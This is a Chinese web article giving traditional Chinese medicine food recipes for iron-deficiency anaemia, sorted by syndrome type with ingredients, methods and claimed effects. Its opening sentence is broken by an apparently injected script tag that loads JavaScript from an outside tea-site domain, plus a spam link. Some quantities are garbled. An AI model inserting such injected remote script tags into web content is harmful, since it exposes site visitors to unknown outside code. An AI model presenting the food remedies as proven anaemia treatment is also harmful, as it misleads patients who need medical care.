缺铁性贫血是一种最常见的贫血病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?a href=http://www.368tea.com/html/301/ id=kw target=_blank>中医认为，缺铁性贫血可分为脾气虚弱、气血两亏、肝肾亏虚、脾肾阳虚四种证型。针对这四种证型，中医推荐如下缺铁性贫血食疗方，供参考。请大家在中医指导下对症选用。

　　脾气虚弱：临床表现面色萎黄或苍白，神疲乏力，胃纳减少，脘腹胀闷，或伴齿龈出血，或见月经量多，舌淡，苔薄白，脉细无力。

　　鸡血藤煲鸡蛋：鸡血藤60克，鸡蛋2个。鸡血藤洗净后与鸡蛋同放锅内，加水300毫升，鸡蛋熟后去壳取蛋，再煎10分钟。功效为健脾益气生血。用法为吃蛋饮汤，可常食。

　　桂圆鹌鹑蛋：桂圆肉12克，鹌鹑蛋4个，红糖15克。将鹌鹑蛋打碎，和桂圆肉、红糖放置碗中和匀，加水60～100毫升放在饭上蒸熟。功效为补血和血。用法为每日早晨1次，可常食。

　　黄芪鸡汁粥：母鸡1只（重1000～15oo克），黄芪15克，粳米100克。将母鸡剖洗干净，煎浓鸡汁，将黄芪煎汁，每次以粳米100克加入鸡汁和药汁煮粥。功效为益气血，填精髓。用法为早晚趁热食用。

　　牛蹄筋粥：牛蹄筋、花生米各50克；糯米50～100克。将牛蹄筋洗净，切成小块，与花生米、糯米，加水适量煮粥，煮至蹄筋及花生熟烂、汤稠即可。功效为补气养血。用法为食粥吃蹄筋及花生。每日早晚各1次。

　　归参炖母鸡：当归15克，党参15克，母鸡1只（约1500克）。将当归、党参放入鸡腹，置砂锅中，加各种佐料及清水，先用旺火煮沸，再用小火煨炖至鸡肉熟烂即可。功效为健脾益气，养血生血。用法为食肉喝汤，佐餐食用。

　　扶中糕：面粉100克，白术20克，茯苓20克，党参10克，陈皮5克，龙眼肉20克，山药20克。上述除面粉外均研成细粉，与面粉混匀，加适量白糖和水和成发面，上笼屉蒸成糕。也可将蒸好的糕放入烤箱，文火烤干。功效为补中益气养血。用法为可作点心食用。

　　气血两亏：临床表现面色苍白，神疲乏力，少气懒言，唇甲色淡，舌淡，脉细濡。

　　神仙鸭：鸭1只（约2000克），人参3克，龙眼肉20克，莲子50，克，大枣50枚。将鸭子去毛、内脏，剁去脚，洗净沥干。人参切片，莲子用水胀后去表皮、去心，大枣去核，龙眼肉洗净。用盐5克、酱油50毫升、料酒30毫升混匀后搽在鸭表面和腹内。将人参、龙眼、莲子、大枣混合后，填入鸭腹，放在砂锅中，上笼用武火蒸至鸭熟即可。功效为补气健脾养血。用法为每周1次，佐餐食用。

　　补血肝片：黄芪30克，当归9克，山楂片9克，猪（羊）肝250克，鸡蛋1个，笋片、黄瓜片各50克。将猪（羊）肝去筋切成薄片，加入鸡蛋、淀粉、精盐，上浆，笋片焯水备用。黄芪、当归、山楂加水浓煎至20毫升，加酱油、盐、料酒兑成滋汁备用。炒锅置旺火烧热，加油烧至六七成热时，下肝片滑开至熟，捞出去油。原锅留少许油，把葱姜末煸一下，再加入肝片、笋片、黄瓜片，加入滋汁，颠翻炒匀，勾芡，淋上明油即可。功效为补肝养血。用法为佐餐食用。

　　太子参羊肉羹：羊肉500克，太子参30克，何首乌15克，龙眼肉20克。羊肉切丁，太子参、龙眼肉、何首乌装入洁净的纱布袋扎紧口，加葱白、姜、绍酒、盐等调料适量，均放入砂锅内，加清水没过料，先用大火烧沸后，去浮沫，以文火煨至羊肉烂熟，捞去药包及葱姜即可。功效为益气温中，补肾养血。用法为佐餐食用。

　　木耳红枣汤：黑木耳30克，大枣20枚。木耳、红枣泡发洗净，共放锅中加清水适量煮汤，汤成后加入少许红糖调味。功效为补肾养血。用法为每日1剂，吃枣喝汤。

　　阿胶粥：阿胶30克，糯米100克。先将糯米煮粥，待粥成时放入捣碎的阿胶，边煮边搅匀，阿胶融化后调入红糖即可。功效为养血补血。用法为每日1剂，分2次服用。

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